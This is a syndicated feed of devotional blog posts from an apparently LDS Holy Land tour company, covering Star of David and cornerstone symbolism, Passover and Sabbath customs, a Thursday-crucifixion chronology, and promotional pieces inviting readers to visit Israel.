Daniel Rona also explained that the Urim and Thummim– which Joseph Smith said were of triangular shape—(could mean) “yes” and “no” (or “thumbs up” and “thumbs down”). Thus, they would have been represented by a triangle and an inverse triangle: ▲ ▼. When put together, they form the Star of David: . The significance of this is made clear when one considers the prophetic powers of the earlier David. As I meditated upon this new information, I thought of how the Star of David has lost its inner meaning to the present-day Jew: prophecy has gone from the Jews (but not permanently).

One other insight our guide shared has caused me subsequent deep thought. Brother Rona pointed out that the chief cornerstone which Christ represented was most logically the top of a pyramid. (Acts 4:11: “This is the stone which was set at nought of you builders, which is become the head of the corner.”) Then he pointed out the symbol of the pyramid on the dollar bill, and I quickly commented that the rejected chief cornerstone was also “the all-seeing eye” (i.e, the Lord). While this symbol undoubtedly was suggested by the Freemasons among our country’s founders, it contains some elements that could be attractive to Latter-day Saints. For example, as Hugh Nibley points out in his book, The Joseph Smith Papyri: An Egyptian Endowment, the pyramid anciently was thought of as a holy mountain–in other words, as a temple. In the symbol on the dollar bill, the power of the Lord can be seen as the apex of that temple.

King Zachariahs Tomb Israel
King Zachariah’s Tomb, Israel

So, what is the application to the relationship between Jesus Christ and the Jews? References in the Topical Guide to “Cornerstone” point to Jesus Christ (Jehovah) as “the Rock of his salvation” (Deut. 32:15). Zechariah 10:4 says, “Out of him came forth the corner [i.e., says our footnote, the cornerstone]”. What is fascinating to me (one of the things I discovered as I meditated about all this) is that the top of the tomb of king Zachariah . . . is a pyramid.

Now if we look again at the image of the dollar bill, we see that that lower part is like pyramids found in Central America. And what is now missing from them? There was a temple on top. In other words, the chief cornerstone not only completed the temple, but in effect it was the essence of the temple, containing its power, being the culmination, and containing the mountaintop element that is symbolic of temples (the meeting point between heaven and earth). We are reminded that Christ spoke of himself as a temple (John 2:19) (and indeed, “the house of the Lord” can have multiple meanings, one of which is the Savior himself–see also Rev. 21:22). So in Christ being rejected and taken into heaven (Moses 7:53: “I am Messiah . . . the Rock of Heaven”), the Jews lost the temple–and lost their connecting point between man and God.

“Jews will again have a temple in which the spirit of the Lord dwells”

The satisfying knowledge that a Latter-day Saint has, is that the head cornerstone will return, that the Jews will again have a temple in which the spirit of the Lord dwells, It is up to Joseph, though, to be an instrument in saving his brother Judah, just as Joseph of old–mistreated by his brothers and sent into Egypt–was a means of saving Judah and the rest of his family, In the repeating patterns of the Restoration, it would be appropriate for Joseph (especially the LDS church led by Ephraimites) to save Judah and then for Judah finally to recognize the identity of his brother. Eventually, in the Millennium, the law (i.e., doctrines and teachings) will go forth from (new) Zion . . . and the word of the Lord will go forth from Jerusalem (Isaiah 2:3). In both places, people will go to “the mountain of the Lord’s house” (Isa. 2:2, the temple).

Finally, though, Jerusalem will have a prophet again–speaking the word of the Lord. Then the Star of David will once more have real meaning (seership) and the essential forms found in Judaism (with the extraneous ones cast away) will be infused with spirit so as to become meaningful.

So, now you know some of the thoughts that have been stimulated by that wonderful trip to Israel. I know it is the Holy Land. I see it blossoming like a rose (an amazing thing to me), and I know that eventually the light that is Christ will bring great spiritual power back to that land.

You can see in the latest Ensigns the beautiful and interesting sights we saw in Israel. Wish you could have been there with us.

Dilworth Rust Signature
(Dilworth Rust)

P.S. You might pass this letter on to David and Eleanor. I wish they could have been with us, too.

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/feed/ 0 Hunger And Thirst… For What? https://www.israelrevealed.com/hunger-and-thirst-for-what/ https://www.israelrevealed.com/hunger-and-thirst-for-what/#respond Fri, 05 May 2017 22:19:41 +0000 https://www.israelrevealed.com/?p=3252

Jordan River Baptism Israel
Baptism On The Jordan River, Israel

One thing many of us take for granted is time spent with family. Sometimes, we think that we can make up for lost time and put other priorities ahead of that quality time or experience, only to discover that time spent with family is a higher priority in life.

A spirit-filled travel experience in Israel is one of the more indelible ways to create lasting memories and experiences, as it develops an unbreakable bond. At the end of our life, we won’t be thinking about the new car we bought or that amazing dining room set we used a few times a year. Instead, we’ll treasure the memories of loved ones and the experiences we shared following the Savior’s footsteps.

The week, a fellow travel professional, Mark Murphy, CEO of TravelAlliance.com, shared many of the above thoughts . He told us that was diagnosed with cancer which disrupted his carefully scripted plans for 2017, and he had to focus on treatments starting in two weeks.

What Really Matters In Life?

Happy Family
Happy Family

The first thing he thought about, was: where can he and his family travel to in the next two weeks? He thought about travel first, not because of what he does professionally, but because of the power it has, to open a family’s eyes to the beauty all around.

Like Mark, I often think of the beauty of a loving family, the calming effects of a warm breeze and the simple pleasure of watching the sun rise in the morning and set in the evening in sacred surroundings. Add to that, the comforting feelings and the lasting strength that comes from “listening” to the “rocks shout” and “hearing” the “flowers praise” the Savior. Imagine what it is like as you and I walk the very paths, and sail on the very sea, he walked.

Steven and I are looking forward to the experiences we will have, and the enduring memories that will be the result. Like Mr. Murphy, the idea of “selling” travel is one that we don’t adhere to. We believe that you will “buy-in” to the Holy Land experience, because you want a personal connection to the biblical stories that touch you. Jesus was a great storyteller. We are able to share those stories and events because we were born and raised in Israel, our homeland, the Savior’s homeland.

It’s really that simple, add to the depth of your personal experiences, think how you have felt through someone else’s stories, and now you will, in person, with your family share the true feelings, where they originated.

Mark said, “I’ve traveled the world and built a successful company, but when it all comes down to it, I’m thinking about where I can connect with my family and bank more memories.”

As you “hunger and thirst” for happy, sacred memories, remember, we’ve already reserved your spot!

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/hunger-and-thirst-for-what/feed/ 0 Passover Meal And Sabbath Ends With “Next Year In Jerusalem” https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/ https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/#respond Mon, 17 Apr 2017 19:47:49 +0000 https://www.israelrevealed.com/?p=3205

Mormon Tours Capernaum Israel
Capernaum, Israel

In the phrase, “Next Year in Jerusalem,” Jerusalem indicates a future city–and a City-Temple, rebuilt as the Messiah arrives. Most Jews express this messianic longing at the end of the Passover seder meal, as well as at the end of each Sabbath, adding the words hoping that the Messiah should come “speedily in our day.”

The sadness of the destruction of Jerusalem in the year 70 is shown in the artistic renditions of the “Magen David” (Star of David) on synagogues that have noteworthy exceptions. There are two of these at Capernaum. One of them is straight up; the other (like most of these symbols everywhere else), are at a slight right slant. The menorah (seven-branched candelabra) is another example and the fact that the symbols are slanted denotes the destruction of the temple and Jerusalem. The ones at Capernaum and a few others that are straight seem to indicate that they were carved while the temple was still standing. Incidentally, all synagogues face toward Jerusalem.

Synagogue At Capernaum

Mormon Travel Capernaum Israel
Mormon Travel To Capernaum

At Capernaum, there are two doorways in and out of the synagogue. After the temple was destroyed, all synagogue entrances (coming from Jerusalem) were closed and a back door was opened. The symbolism may mean that we are now coming from the Diaspora into the place of worship and must return to the Diaspora. Jews’ synagogue prayers used to end with the hopeful words, “Next year in Jerusalem.” Now that Jerusalem is restored, the prayers read, “Next year in Jerusalem – rebuilt.” The Capernaum synagogue has both a pre- and post-temple destruction entrances.

One can consider that the words, “next year” brings a sense of being at the beginning, or on the way, to Jerusalem, as in a heavenly quest for betterment, a messianic hope.

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]]> https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/feed/ 0 How Could Good Friday, Actually Be On Thursday? https://www.israelrevealed.com/how-could-good-friday-actually-be-on-thursday/ https://www.israelrevealed.com/how-could-good-friday-actually-be-on-thursday/#comments Thu, 13 Apr 2017 18:20:53 +0000 https://www.israelrevealed.com/?p=3191

LDS Jonah & The Whale
Jonah & The Whale

For the Jews, as well as for the Christians, the example of Jonah being swallowed by a great fish for three days and three nights is a symbol of atonement and that the Messiah would rise from the dead. Yet, the three nights and three days of Jesus’ interment and living again is still not recognized by the Jews as a sign of his Messiahship. One major reason for this may be that the account of his death and resurrection simply is not known, and if it is known it is not recognized. Or, it is being explained incorrectly.

Even Christians struggle with the symbolism due to a “mainstream” Christian tradition of Good Friday as the crucifixion day and Easter Sunday as the resurrection day. That, per the scriptural way of calculating twenty-four hour days, still is only two nights and two days. (night always precedes day, as in the creation).

“. . . For as Jonas was three days and three nights in the whale’s belly; so shall the Son of man be three days and three nights in the heart of the earth.” (Matthew 12:38-42)

Joseph of Arimathaea, a member of the Sanhedrin, and Nicodemus, “. . . took . . . the body of Jesus, and wound it in linen clothes with the spices . . . Now in the place where he was crucified there was a garden; and in the garden a new sepulchre, wherein was never man yet laid. There laid they Jesus therefore because of the Jews’ preparation day; for the sepulcher was nigh at hand.” (John 19:40-42) The preparation day is always the night and the day before Passover. Passover is always treated as a Sabbath and called a high day. It occurs on the first full moon after the first day of spring. It is an extra annual Sabbath in addition to the regular weekly Sabbath (Friday night to Saturday).

Two Sabbaths In A Row?

That year, there were two Sabbaths in a Row. The scurrilous events of that day preceded the Passover which was due to begin at any moment. The Passover (high day) that week, preceded the regular Saturday Sabbath. “The Jews [Priests] therefore, because it was the preparation, that the bodies should not remain upon the cross on the Sabbath day, (for that Sabbath day was an high day)” (John 19:31)

In that sense, Jesus was crucified on what we call a Thursday. (This fits in the time reckoning of Palm Sunday being five days before the Passover). “Then Jesus six days before the Passover came to Bethany . . .” (John 12:1) “On the next day much people that were come to the feast, when they heard that Jesus was coming to Jerusalem, took branches of palm trees . . .” (John 12:12-13) That was Palm Sunday (5-days before Passover, Sunday night/Monday was 4-days before Passover, Monday night/Tuesday was 3, Tuesday night/Wednesday was 2, Wednesday night/Thursday was 1day before Passover, the preparation day, Thursday night/Friday a high day Sabbath, Passover. So, in fulfillment of prophecy, He really was in the tomb three nights; Thursday night, Friday night and Saturday night, on the third day He arose: “. . . and be raised again the third day.” (Matthew 16:21; 17:23, Mark 9:31)

This is also the only “sign” Jesus gave the Pharisees. “Then certain of the scribes and of the Pharisees answered, saying, Master, we would see a sign from thee. But he answered and said unto them, An evil and adulterous generation seeketh after a sign; and there shall no sign be given to it, but the sign of the prophet Jonas: For as Jonas was three days and three nights in the whale’s belly; so shall the Son of man be three days and three nights in the heart of the earth.” (Matthew 12:38-40) In speaking to the Pharisees, He specifically connected himself with Jonah, who was in a great fish . . . “. . . three days and three nights.” (Jonah 1:17)

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]]> https://www.israelrevealed.com/how-could-good-friday-actually-be-on-thursday/feed/ 6 Passover And Easter: When Did Wine And Bread Become Bread And Wine? https://www.israelrevealed.com/passover-and-easter-when-did-wine-and-bread-become-bread-and-wine/ https://www.israelrevealed.com/passover-and-easter-when-did-wine-and-bread-become-bread-and-wine/#comments Sun, 09 Apr 2017 23:29:42 +0000 https://www.israelrevealed.com/?p=3178

LDS Sabbath Passover Jesus Last Supper
Jesus & The Last Supper

Let us examine three symbolic reasons and meanings for the Sabbath and the ordinance done on that day, as well as what meanings Passover and Easter have in common. Remember, that in looking at the “Sabbath” and the “Sacrament,” they are ordinances. “. . . Ordinances instituted in the heavens before the foundation of the world, in the priesthood, for the salvation of men . . .” (Teachings of the Prophet Joseph Smith, Section Six 1843-44, Pg.308)

The Sabbath is to be kept in remembrance of the creation.

“. . . Verily my Sabbaths ye shall keep: for it is a sign between me and you throughout your generations; that ye may know that I am the LORD that doth sanctify you . . . It is a sign between me and the children of Israel for ever: for in six days the LORD made heaven and earth, and on the seventh day he rested, and was refreshed.” (Exodus 31:13-17)

The Sabbath is to be kept in remembrance of being delivered from bondage in Egypt.

“. . . And remember that thou wast a servant in the land of Egypt, and that the LORD thy God brought thee out thence through a mighty hand and by a stretched out arm: therefore the LORD thy God commanded thee to keep the sabbath day.” (Deuteronomy 5:14-15)

The Sabbath is to be kept in remembrance of the atonement.

So important is Yom Kippur (Day of Atonement) that it is the only fast day which may be observed on the Sabbath and is never postponed until the next day. Moreover, the Torah describes the holiness of Yom Kippur by calling it the “Sabbath of Sabbaths.” (Encyclopedia Judaica Jr.)

LDS Sacrament Passover Easter Wine & Bread
Sabbath Wine & Bread

To the Jews who commemorate the first two reasons for the Sabbath, a sip of wine is partaken, followed by bread. The prayers recited include a recollection of the past, with an eye to the future where an even greater deliverance is anticipated. In this sense, it is a chiasmus that focuses on the atonement in the center. The Savior’s atonement began with suffering and bleeding from every pore, (symbolized by wine) and then followed by giving his body, (symbolized by broken bread).

The Jewish prayers accompanying once each Sabbath and three times at the Passover meal anticipate a future redemption that would be greater than being redeemed from Egypt at the first Passover. The only time Jews will break, bless, and eat a piece of bread first, followed by pouring, blessing, and sipping wine last is when children at the traditional Passover meal (Seder) find the “hidden piece of bread” (afikommen). A Rabbi told me that when kosher wine (or grape juice) is not available, “living” water could be a substitute. Passover begins on the first full moon after the first day of spring (equinox). It is an extra Sabbath, a “High Day,” in addition to the regular weekly Sabbath.

To those who truly believe in the Messiah, the Sabbath day is commemorated by partaking of a morsel of bread followed by a sip of wine. The prayers are in remembrance of the greatest deliverance eternity ever experienced. The old form of the ordinance, wine and bread (anticipation) and then the new form of the ordinance, bread and wine (remembrance); these are the symbols of the Sabbath, a joyful thought of redemption!

When Was Bread And Wine First Used For The Sacrament?

For generations, Israel has been using wine and bread as part of Passover ordinance celebration, ever since the Passover was “instituted” through Moses on the eve of the Exodus. Along with bitter herbs and the Passover Lamb, these “substances” constitute the essence of the order of celebration on Passover eve by Israel through generations of time. Yet, the lamb, the wine, and the bread have been part of holy ordinances way before the generation of Moses leaving Egypt.

Adam was commanded to offer the firstlings of his flock without knowing why. Abraham partook of the wine and bread administered by the great high priest and King Melchizedek. So why do most of us continue to say “instituted”? Indeed, a better word would be revealed. This is what great prophets do; they reveal the mysteries of God to those who diligently seek after them.

LDS Jesus Sharing Bread On Passover
Jesus Sharing Bread On The Passover

On the eve of the atonement of Jesus, he himself declared: “take, eat, this is my body” as he “took bread, and blessed it, and break it, and gave to his disciples.” (Matthew 26:26). He himself declared: “this is my blood of the new testament, which is shed by many for the remission of sins” as he “took the cup, and gave thanks, and gave it to them.” (Matthew 26:27-28) Jesus did not “institute” an ordinance that was unfamiliar to the disciples, he simply revealed himself to his disciples.

When Isaac the only begotten of Abraham was brought by his father to be offered as a sacrifice, Abraham revealed that “God would provide himself a lamb.” (Genesis 32:8) Adam was taught by heavenly messenger that his offering was “a similitude of the Only Begotten of the father.” (Moses 5:7)

Holy ordinances are eternal in nature and are revealed through and by the power of God, in the name of his Son. This has been, is, and will be, through the generations of time, the order by which things that are holy (sacrament) are administered by those who have the spirit of prophecy.

On this eve of Passover, I wish all a happy and orderly Passover, Shalom!
Love, Daniel & Steven Rona

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]]> https://www.israelrevealed.com/passover-and-easter-when-did-wine-and-bread-become-bread-and-wine/feed/ 1 Flat, Dry & Dangerous? Israel, Israel, God is Calling! https://www.israelrevealed.com/flat-dry-dangerous-israel-israel-god-is-calling/ https://www.israelrevealed.com/flat-dry-dangerous-israel-israel-god-is-calling/#respond Wed, 22 Feb 2017 19:58:51 +0000 https://www.israelrevealed.com/?p=3027

Gethsemane and the Temple Mount Israel Israel God is Calling
Israel, Israel, God is Calling!

ISRAEL, the Holy Land, is a land of contrasts, a young nation, almost 70, going on to 5000-years old. The mountains rise nearly 10,000 feet above sea-level. We have two ski-lifts in Israel on Mount Hermon! Oh! Yes, size-wise, you can fit Israel eight times in Utah. Yet in Israel we experience twice the rainfall of Utah, (as much annual rain as London). And of course, it comes all-at-once, “forty days and forty nights!” Water? Think about it, our tiny Israel has the “Med,” the “Dead” and the “Red” seas, plus the Sea of Galilee!

More contrasts?

Israel is built on an ancient inheritance. Great events were caused by humble prophets, and men wanting to be great were caused to be humble. Yet, out of the Bible have come many interpretations and religious traditions that compete for attention. Where are you in all this? Look, listen and feel, you’ll find a “Spiritual Oasis in the Holy Land.”

Discovering truths in the Holy Land, five considerations should be:

  • Your LDS guide in Israel
  • Archaeology
  • Written historical accounts
  • Traditions-including names and places
  • And most important, the feeling-the spirit that touches your heart

You’ll see, the joy of the Holy Land is in the feeling that comes from remembering the events that took place here in the very places, the land where these events took place.

Anciently, this land was chosen by God to establish the true worship of God. A religion and culture developed that would be spread to the surrounding lands and peoples, and thus Israel became the spiritual and temporal Crossroads of the East. It is remarkable that such a little land had such a great effect on history. For Mormons, a delightful contrast, (chiasmus) unfolds:

In ancient days,
In the Crossroads of the East,
There were living prophets,
And, people came in from surrounding countries
To get the “Word.”

(The contrast):

The “Word” is
Sent throughout the world,
By living prophets,
From the Crossroads of the West,
In Latter-days.

Because Israel is a crossroad, past conquerors have included (alphabetically), Arabs, Assyrians, Babylonians, British, Canaanites, Crusaders, Egyptians, French, Greeks, Hyksos, Hittites, Israelites, Jebusites, Mamelukes, Meads, Persians, Philistines, Romans, Syrians and Turks. Yet, the people continuing to live in this land are the remaining Israelites – the Jews and the Arabs.

Sea of Galilee Israel Israel God is Calling
The Sea of Galilee is Calling!

Israel is a good land, where Jews, Moslems and Christians raise their families. A feeling of peace and youthful growth exists even though its history is almost as old as civilization. The country itself is about 65 miles wide and 200 miles long. There’s no gold or silver here to make the land worth conquering. Even the late Golda Meir chided Moses, “He traveled the wilderness for 40 years and then settled the one spot that had no oil!”

Ah!, it is a land of travelers — from the Fertile Crescent at the north to the Fertile Egyptian Nile delta at the south, there’s beauty, feeling and a personal invitation, “Family! from the Crossroads of the West, Come to the Crossroads of the East.”

Israel, Israel, God is Calling!

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/flat-dry-dangerous-israel-israel-god-is-calling/feed/ 0